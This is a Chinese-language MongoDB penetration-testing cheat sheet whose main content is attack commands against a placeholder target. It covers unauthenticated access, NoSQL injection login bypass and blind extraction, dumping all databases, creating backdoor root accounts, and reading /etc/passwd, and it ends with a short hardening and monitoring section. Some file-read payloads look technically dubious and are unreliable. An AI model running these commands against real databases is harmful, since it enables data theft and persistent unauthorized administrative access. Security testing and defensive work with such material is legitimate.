27017 - MongoDB 服务渗透测试
服务概述
MongoDB 是 NoSQL 数据库。未授权访问、注入攻击是主要安全问题。
默认端口: 27017 (TCP)
危害等级: ⭐⭐⭐⭐⭐
信息收集
服务识别
# nmap 扫描
nmap -sV --script mongodb-info -p 27017 TARGET
# 使用 mongo 客户端
mongo --host TARGET --port 27017
# 如果连接成功,显示版本信息未授权访问检测
# 尝试匿名连接
mongo --host TARGET --port 27017
# 如果成功,无需认证
# 可执行任意命令常见攻击手法
1. 未授权访问
原理: MongoDB 默认无认证。
利用:
# 连接
mongo --host TARGET --port 27017
# 列出数据库
show dbs
# 使用数据库
use admin
# 列出集合
show collections
# 查询数据
db.users.find()
# 添加管理员
db.createUser({
user: "attacker",
pwd: "password123",
roles: ["root"]
})2. NoSQL 注入
原理: MongoDB 查询可被注入。
利用:
// 认证绕过
// 原始查询:db.users.findOne({username: user, password: pass})
// 注入:username: {$gt: ""}, password: {$gt: ""}
// 盲注
// db.users.findOne({username: "admin", password: {$regex: "^a"}})
// 如果返回结果,密码以 a 开头
// 时间盲注
// 使用 $where 子句
db.users.find({$where: "sleep(10000) || username=='admin'"})3. 数据窃取
原理: 未授权访问可导出所有数据。
利用:
# 导出数据库
mongodump --host TARGET --port 27017 --out /tmp/dump
# 导出集合
mongoexport --host TARGET --db admin --collection users --out users.json
# 查看所有数据
mongo --host TARGET --eval "db.getSiblingDB('admin').users.find()"4. 权限提升
原理: 创建管理员账户。
利用:
// 连接到 admin 数据库
use admin
// 创建管理员
db.createUser({
user: "backdoor",
pwd: "backdoor123",
roles: ["root"]
})
// 使用新账户
mongo -u backdoor -p backdoor123 --authenticationDatabase admin5. 文件读取
原理: MongoDB 可读取服务器文件。
利用:
// 读取 /etc/passwd
use admin
db.runCommand({$eval: "cat /etc/passwd"})
// 或使用 $where
db.collection.find({$where: "var f = new java.io.File('/etc/passwd'); var scanner = new java.util.Scanner(f); while(scanner.hasNext()) { print(scanner.nextLine()); }"})实战案例
案例 1: 未授权访问数据窃取
# 1. 连接
mongo --host TARGET --port 27017
# 2. 列出数据库
show dbs
# 3. 导出所有数据
mongodump --host TARGET --port 27017 --out /tmp/mongo_dump
# 4. 分析数据
# 查找敏感信息案例 2: NoSQL 注入登录绕过
// Web 应用登录
// POST /login
// {"username": {"$gt": ""}, "password": {"$gt": ""}}
// 或使用 curl
curl -X POST http://TARGET/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
// 登录成功,无需密码
案例 3: 创建后门账户
# 1. 连接
mongo --host TARGET --port 27017
# 2. 创建管理员
use admin
db.createUser({
user: "attacker",
pwd: "Password123!",
roles: ["root"]
})
# 3. 后续使用
mongo -u attacker -p Password123! --authenticationDatabase admin工具
mongodump
# 导出数据库
mongodump --host TARGET --port 27017 --out /tmp/dump
# 导出特定数据库
mongodump --host TARGET --db admin --out /tmp/dump
# 认证导出
mongodump --host TARGET -u admin -p password --authenticationDatabase adminmongo
# 连接
mongo --host TARGET --port 27017
# 认证连接
mongo --host TARGET -u admin -p password --authenticationDatabase admin
# 执行命令
mongo --host TARGET --eval "db.getSiblingDB('admin').users.find()"nosqlmap
# 安装
git clone https://github.com/codingo/NoSQLMap
cd NoSQLMap
python2 NoSQLMap.py
# 功能:
# - 自动注入
# - 数据提取
# - 用户枚举防御建议
服务器配置
# 1. 启用认证
# mongod.conf
security:
authorization: enabled
# 2. 创建管理员
use admin
db.createUser({
user: "admin",
pwd: "StrongPassword123!",
roles: ["root"]
})
# 3. 绑定本地地址
# mongod.conf
net:
bindIp: 127.0.0.1
# 4. 启用 SSL
net:
ssl:
mode: requireSSL
PEMKeyFile: /path/to/key.pem网络隔离
# 防火墙规则
iptables -A INPUT -p tcp --dport 27017 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 27017 -j DROP监控检测
# 1. 日志监控
# MongoDB 日志
# 认证失败记录
# 2. 流量分析
tshark -i eth0 -Y "mongo" -T fields -e mongo.query
# 3. 异常检测
# 大量查询
# 未知 IP 连接
# 管理命令执行